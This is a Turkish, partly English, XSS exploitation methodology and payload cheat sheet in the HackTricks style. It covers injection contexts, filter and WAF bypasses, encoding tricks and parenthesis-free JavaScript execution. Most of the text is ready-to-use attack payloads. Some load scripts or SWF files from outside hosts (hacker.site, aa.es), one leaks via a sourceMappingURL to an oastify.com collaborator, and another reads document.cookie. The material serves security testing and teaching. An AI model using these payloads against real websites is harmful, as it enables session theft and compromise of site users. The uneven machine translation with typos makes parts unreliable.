XSS (Cross Site Scripting)

Eğer hackleme kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).

Metodoloji

  1. Kontrol ettiğiniz herhangi bir değerin (parametreler, yol, başlıklar?, çerezler?) HTML'de yansıtılıp yansıtılmadığını veya JS kodu tarafından kullanılıp kullanılmadığını kontrol edin.

  2. Yansıtıldığı/kullanıldığı bağlamı bulun.

  3. Eğer yansıtılmışsa

  4. Hangi sembolleri kullanabileceğinizi kontrol edin ve buna bağlı olarak yükü hazırlayın:

  5. ham HTML içinde:

  6. Yeni HTML etiketleri oluşturabilir misiniz?

  7. javascript: protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?

  8. Koruma mekanizmalarını aşabilir misiniz?

  9. HTML içeriği herhangi bir istemci tarafı JS motoru (AngularJS, VueJS, Mavo...) tarafından yorumlanıyorsa, İstemci Tarafı Şablon Enjeksiyonu istismar edebilirsiniz.

  10. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, Dangling Markup - HTML scriptsiz enjeksiyonu istismar edebilir misiniz?

  11. HTML etiketinin içinde:

  12. Ham HTML bağlamına çıkabilir misiniz?

  13. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?

  14. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?

  15. Koruma mekanizmalarını aşabilir misiniz?

  16. JavaScript kodunun içinde:

  17. <script> etiketini kaçırabilir misiniz?

  18. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?

  19. Girdiğiniz değer şablon literalleri `` içinde mi?

  20. Koruma mekanizmalarını aşabilir misiniz?

  21. Javascript fonksiyonu çalıştırılıyor

  22. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: ?callback=alert(1)

  23. Eğer kullanılıyorsa:

  24. DOM XSS istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:

Debugging Client Side JS

Yansıtılan değerler

Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında yansıtılan sizin kontrolünüzdeki bir değerdir.

  • Ara yansıtılmış: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir Yansıtılmış XSS istismar edebilirsiniz.

  • Saklanmış ve yansıtılmış: Eğer kontrol ettiğiniz bir değerin sunucuda saklandığını ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir Saklanmış XSS istismar edebilirsiniz.

  • JS ile erişilen: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, bir DOM XSS istismar edebilirsiniz.

Bağlamlar

Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak, farklı yollarla rastgele JS kodu çalıştırabileceksiniz.

Ham HTML

Eğer girdiniz ham HTML sayfasında yansıtılıyorsa, JS kodunu çalıştırmak için bazı HTML etiketlerini istismar etmeniz gerekecek: <img , <iframe , <svg , <script ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır. Ayrıca, İstemci Tarafı Şablon Enjeksiyonu aklınızda bulunsun.

HTML etiketinin niteliği içinde

Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:

  1. nitelikten ve etikten kaçmak (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: "><img [...]

  2. Eğer nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız (> kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu çalıştıran bir olay oluşturabilirsiniz: " autofocus onfocus=alert(1) x="

  3. Eğer nitelikten kaçamıyorsanız (" kodlanmış veya silinmişse), o zaman hangi nitelikte değerinizin yansıtıldığına bağlı olarak değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu istismar edebilirsiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir örnek, href niteliğidir; burada rastgele kod çalıştırmak için javascript: protokolünü kullanabilirsiniz: href="javascript:alert(1)"

  4. Eğer girdiniz "istismar edilemez etiketler" içinde yansıtılıyorsa, açığı istismar etmek için accesskey numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): `" accesskey="x" onclick="alert(1)" x="

Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

Bu durumda, girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyası içinde veya bir niteliğin içinde javascript: protokolü kullanılarak yansıtılır:

  • Eğer <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, </script> enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, tarayıcı önce HTML etiketlerini ayrıştırdığı ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz </script> etiketinin HTML kodu içinde olduğunu fark etmeyecektir.

  • Eğer bir JS dizesi içinde yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):

  • '-alert(1)-'

  • ';-alert(1)//

  • \';alert(1)//

  • Eğer şablon dizeleri içinde yansıtılıyorsa, ${ ... } sözdizimini kullanarak JS ifadeleri gömebilirsiniz: var greetings = `Hello, ${alert(1)}`

  • Unicode kodlama geçerli javascript kodu yazmak için çalışır:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting, kullanımdan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

JS Hoisting

Javascript Fonksiyonu

Birçok web sayfası, çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir. Gerçek hayatta sıkça görülen bir örnek: ?callback=callbackFunc.

Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmektir (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:

Eğer zayıfsa, sadece değeri göndererek bir uyarı tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu uç noktaların genellikle içeriği doğrulaması ve yalnızca harfler, sayılar, noktalar ve alt çizgiler ([\w\._]) kullanmasına izin vermesi oldukça yaygındır.

Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, geçerli karakterleri kullanarak DOM'daki herhangi bir öğeye erişebilmenizdir:

Bunun için bazı yararlı fonksiyonlar:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to Javascript fonksiyonlarını doğrudan tetiklemeyi: obj.sales.delOrders.

Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, aynı kökenden diğer sayfalar daha fazla işlem yapmak için daha ilginç bir DOM olacaktır.

Bu nedenle, farklı bir DOM'da bu zafiyeti istismar etmek için Same Origin Method Execution (SOME) istismarı geliştirilmiştir:

SOME - Same Origin Method Execution

DOM

JS kodu bazı saldırgan tarafından kontrol edilen verileri güvensiz bir şekilde kullanıyor, örneğin location.href. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.

DOM XSS

Evrensel XSS

Bu tür XSS'ler her yerde bulunabilir. Sadece bir web uygulamasının istemci istismarına bağlı değildir, herhangi bir bağlamda geçerlidir. Bu tür rastgele JavaScript yürütmesi RCE elde etmek, istemcilerde ve sunucularda rastgele dosyaları okumak ve daha fazlası için bile istismar edilebilir. Bazı örnekler:

Server Side XSS (Dynamic PDF)Electron Desktop Apps

WAF atlatma kodlama resmi

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Ham HTML içinde enjekte etme

Girdiğiniz HTML sayfasında yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken ilk şey < karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o karakteri yansıtmayı deneyin ve HTML kodlaması yapılıp yapılmadığını veya silinip silinmediğini ya da değişiklik olmadan yansıtılıp yansıtılmadığını kontrol edin. Sadece son durumda bu durumu istismar edebileceksiniz. Bu durumlar için ayrıca Müşteri Tarafı Şablon Enjeksiyonu'nu da aklınızda bulundurun. Not: Bir HTML yorumu, ******** --> veya ****--!> ile kapatılabilir.

Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Ama, eğer etiketler/özellikler kara/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi brute-force etmeniz gerekecek. Hangi etiketlerin izin verildiğini bulduktan sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde özellikler/olayları brute-force etmeniz gerekecek.

Etiketler/Olaylar brute-force

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet adresine gidin ve Etiketleri panoya kopyala seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak tüm olayları brute-force edebilirsiniz (aynı web sayfasında Olayları panoya kopyala seçeneğine tıklayın ve önceki prosedürü takip edin).

Özel etiketler

Eğer geçerli bir HTML etiketi bulamadıysanız, özel bir etiket oluşturmayı deneyebilir ve onfocus özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi # ile bitirmeniz gerekiyor, böylece sayfa o nesneye odaklanır ve kodu çalıştırır:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit hilelerle aşmayı deneyebilirsiniz:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Uzunluk atlatma (küçük XSS'ler)

Farklı ortamlar için daha fazla küçük XSS payload burada bulunabilir ve burada.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found here. To check in which characters are decomposed check here.

Click XSS - Clickjacking

Eğer zafiyeti istismar etmek için kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını gerektiriyorsa, Clickjacking'i istismar etmeyi deneyebilirsiniz (eğer sayfa zayıfsa).

Impossible - Dangling Markup

Eğer JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu düşünüyorsanız, Dangling Markup kontrol etmelisiniz çünkü zafiyeti JS kodu çalıştırmadan istismar edebilirsiniz.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Eğer bir HTML etiketinin içindeyseniz, denemek için ilk şey etiketten kaçmak ve önceki bölümde belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır. Eğer etiketten kaçamazsanız, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil olayları

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Attribute içinde

Özellikten kaçamazsanız bile (" kodlanıyor veya siliniyor), değerinizin hangi özellikte yansıtıldığına bağlı olarak değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre bunu kötüye kullanabileceksiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz. Bir diğer ilginç örnek ise href özelliğidir; burada rastgele kod çalıştırmak için javascript: protokolünü kullanabilirsiniz: href="javascript:alert(1)"

HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma

HTML etiket özelliklerinin değerindeki HTML kodlanmış karakterler çalışma zamanında çözülür. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Geri Dön </a>

Her türlü HTML kodlaması geçerlidir:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL kodlamasının da çalışacağını unutmayın:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicode kodlaması kullanarak iç olayları atlatma

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Özel Protokoller İçinde attribute

Burada bazı yerlerde javascript: veya data: protokollerini kullanarak rastgele JS kodu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü, href özniteliğini kabul eden herhangi bir etikette ve src özniteliğini kabul eden çoğu etikette (ancak <img> değil) kullanılabilir.

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation hileleri

Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML kodlama ve Unicode kodlama hilesi de geçerlidir.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ayrıca, bu durumlar için başka bir güzel numara var: Girdiğiniz javascript:... içindeki veriler URL kodlaması yapılsa bile, çalıştırılmadan önce URL çözülmesi yapılacaktır. Yani, eğer tek tırnak kullanarak string'den kaçış yapmanız gerekiyorsa ve URL kodlaması yapıldığını görüyorsanız, önemli değil, çalıştırma sırasında tek tırnak olarak yorumlanacaktır.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Not edin ki eğer her ikisini de URLencode + HTMLencode herhangi bir sırayla payload'ı kodlamak için kullanmaya çalışırsanız, bu çalışmayacaktır, ancak payload içinde karıştırabilirsiniz.

javascript: ile Hex ve Octal kodlama kullanma

HTML etiketlerini JS çalıştırmak için iframe'in src niteliği içinde (en azından) Hex ve Octal kodlama kullanabilirsiniz:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Ters sekme yakalama

<a target="_blank" rel="opener"

Eğer herhangi bir URL'yi <a href= etiketine, target="_blank" ve rel="opener" nitelikleri ile enjekte edebiliyorsanız, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:

Reverse Tab Nabbing

Olay İşleyicileri Atlatma

Öncelikle, yararlı "on" olay işleyicileri için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet). Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir kara liste varsa, aşağıdaki atlatmaları deneyebilirsiniz:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS "Kullanılamaz etiketler" (gizli girdi, bağlantı, kanonik, meta)

buradan gizli girdileri kötüye kullanmak artık mümkün:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Ve meta etiketlerinde:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

buradan: Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz, eğer kurbanı tuş kombinasyonuna ikna edebilirseniz. Firefox Windows/Linux'ta tuş kombinasyonu ALT+SHIFT+X ve OS X'te CTRL+ALT+X'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS yükü şöyle bir şey olacak: " accesskey="x" onclick="alert(1)" x="

Kara Liste Atlatmaları

Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. Geri dön ve nerelerde kullanabileceğini öğren:

  • HTML kodlama (HTML etiketleri)

  • Unicode kodlama (geçerli JS kodu olabilir): \u0061lert(1)

  • URL kodlama

  • Hex ve Oktal kodlama

  • veri kodlama

HTML etiketleri ve öznitelikler için atlatmalar

Önceki bölümün Kara Liste Atlatmalarını oku.

JavaScript kodu için atlatmalar

Aşağıdaki bölümün JavaScript atlatma kara listesini oku.

CSS-Aletleri

Eğer webin çok küçük bir kısmında bir XSS bulduysanız ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.

Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

bulursanız, bağlantınızı şu forma getirebilirsiniz

<a href="" id=someid class=test onclick=alert() a="">

Bu hile https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 adresinden alınmıştır.

JavaScript kodu içine enjekte etme

Bu durumda girdi JS kodunun bir .js dosyasındaki veya <script>...</script> etiketleri arasındaki veya JS kodu çalıştırabilen HTML olayları arasındaki veya javascript: protokolünü kabul eden öznitelikler arasındaki yansıtılacak.

<script> etiketini kaçırma

Eğer kodunuz <script> [...] var input = 'yansıtılan veri' [...] </script> içinde yer alıyorsa, <script> etiketini kolayca kapatabilirsiniz:

</script><img src=1 onerror=alert(document.domain)>

Not edin ki bu örnekte tek tırnağı bile kapatmadık. Bunun nedeni HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.

JS kodu içinde

Eğer <> temizleniyorsa, yine de diziyi kaçırabilirsiniz ve keyfi JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Dizgiler oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca ters tırnak `` kabul eder. Bu, ${ ... } sözdizimini kullanarak gömülü JS ifadeleri sağlamasına olanak tanıdığı için şablon dizgileri olarak bilinir. Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizgesi içinde yansıtıldığını bulursanız, keyfi JS kodu çalıştırmak için ${ ... } sözdizimini kötüye kullanabilirsiniz:

Bu, şu şekilde kötüye kullanılabilir:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Kodun kodlanmış yürütülmesi

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode Encode JS yürütme

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript kara liste atlatma teknikleri

Dizeler

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

JS kodu içindeki boşluk yer değiştirmeleri

<TAB>
/**/

JavaScript yorumları (şuradan JavaScript Yorumları hile)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript yeni satırlar (şuradan JavaScript yeni satır hile)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript boşlukları

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Yorum içinde Javascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

Parantezsiz JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
